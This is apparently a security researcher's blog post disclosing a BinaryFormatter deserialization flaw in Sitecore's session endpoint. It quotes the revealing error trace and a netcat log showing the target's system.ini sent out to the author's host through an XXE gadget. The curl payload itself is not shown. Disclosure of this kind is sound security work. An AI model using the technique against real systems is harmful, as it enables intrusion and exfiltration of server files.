Today I am bringing you a PoC for an .NET deserialization vulnerability I found on an engagement in Sitecore, a popular CMS product used by companies large and small.
I didn’t know much about Sitecore, but I was told it was “just a static marketing site”. After hearing these words I always get suspicious, because these apps have a high chance of being misconfigured, forgotten about, and poorly patched / maintained.
Doing the usual recon, I found Sitecore had a number of CVEs, however most of them were XSS, relied on having administrative access, or were old. There is also a default credential issue with Sitecore. Because this was a fresh installation and installed by competent people, the admin login functionality and any admin page was blacklisted at the webserver level and the CMS instance was fresh and fully patched. No easy wins here.
The site really did not have any dynamic content. No authentication, no POST requests to be seen, and bruteforcing with dirsearch turned up nothing. I found a somewhat interesting xpath injection in the URL, but because it was in the path component of the URL, many special characters were blocked by the webserver and we could not do much of anything with it.
At this point, I took a step back and went over my notes. I thought to myself, okay, so this deployment of the sitecore doesn’t have anything going on, but what about a deployment that does? What would that look like? I started poking around at the CMS itself, and found a very interesting URL related to session management. When I was bruteforcing possible URLs, I got a very strange HTTP response back, shown below:
HTTP/1.1 500 Internal Server Error Content-Length: 4084 ... <!DOCTYPE html> <html> <head> <title>Attempting to deserialize an empty stream.</title> <span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1> ... <h2> <i>Attempting to deserialize an empty stream.</i> </h2></span> ... <b> Exception Details: </b>System.Runtime.Serialization.SerializationException: Attempting to deserialize an empty stream.<br><br> ... [SerializationException: Attempting to deserialize an empty stream.] System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream, HeaderHandler handler, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage) +14445867 Sitecore.Analytics.Sessions.PushSession.ProcessRequest(HttpContext context) +114 System.Web.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() +798 System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) +91 ...
As shown above, this endpoint appeared to be deserializing some of the HTTP request data using the BinaryFormatter .NET serialization format. This sounded really dangerous to me, and a quick google search later, I came across this blackhat paper:
Detailing a number of pitfalls with BinaryFormatter! I quickly found a blogpost with by agixid here:
That detailed the use of a memory corruption vulnerability to pop a shell via BinaryFormatter serialization. Because the engagement was not a red-team or high-risk enough to warrent researching and developing the binary exploit he used, I opted for a gadget that would give me an XXE, demonstrating the vulnerability exists.
I quickly threw together the following
curl command to demonstrate the vulnerability:
Firing the payload off, and crossing my fingers waiting for the request to come back:
$ nc -vv -l -p 443 listening on [any] 443 ... connect to [REDACTED] from (UNKNOWN) [REDACTED] 59218 GET /?;%20for%2016-serverbit%20app%20support%0D%0A%5B386Enh%5D%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA80WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A%5Bdrivers%5D%0D%0Awave=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A%5Bmci%5D HTTP/1.1 Host: qm.md:443 Connection: Keep-Alive
Success! The application deserialized the malicious object and helpfully sent me the contents of system.ini from the remote machine, demonstrating the vulnerability. In the future I hope to discover .NET gadgets that are as useful as Java deserialization gadgets and turn this into an exploit that does not rely on memory corruption for RCE. I reported the vulnerability to the vendor, and the details of the vulnerability are found here: https://kb.sitecore.net/articles/496731
If you need help exploiting the vulnerability or want to know any additional details, feel free to reach out to me. Thanks.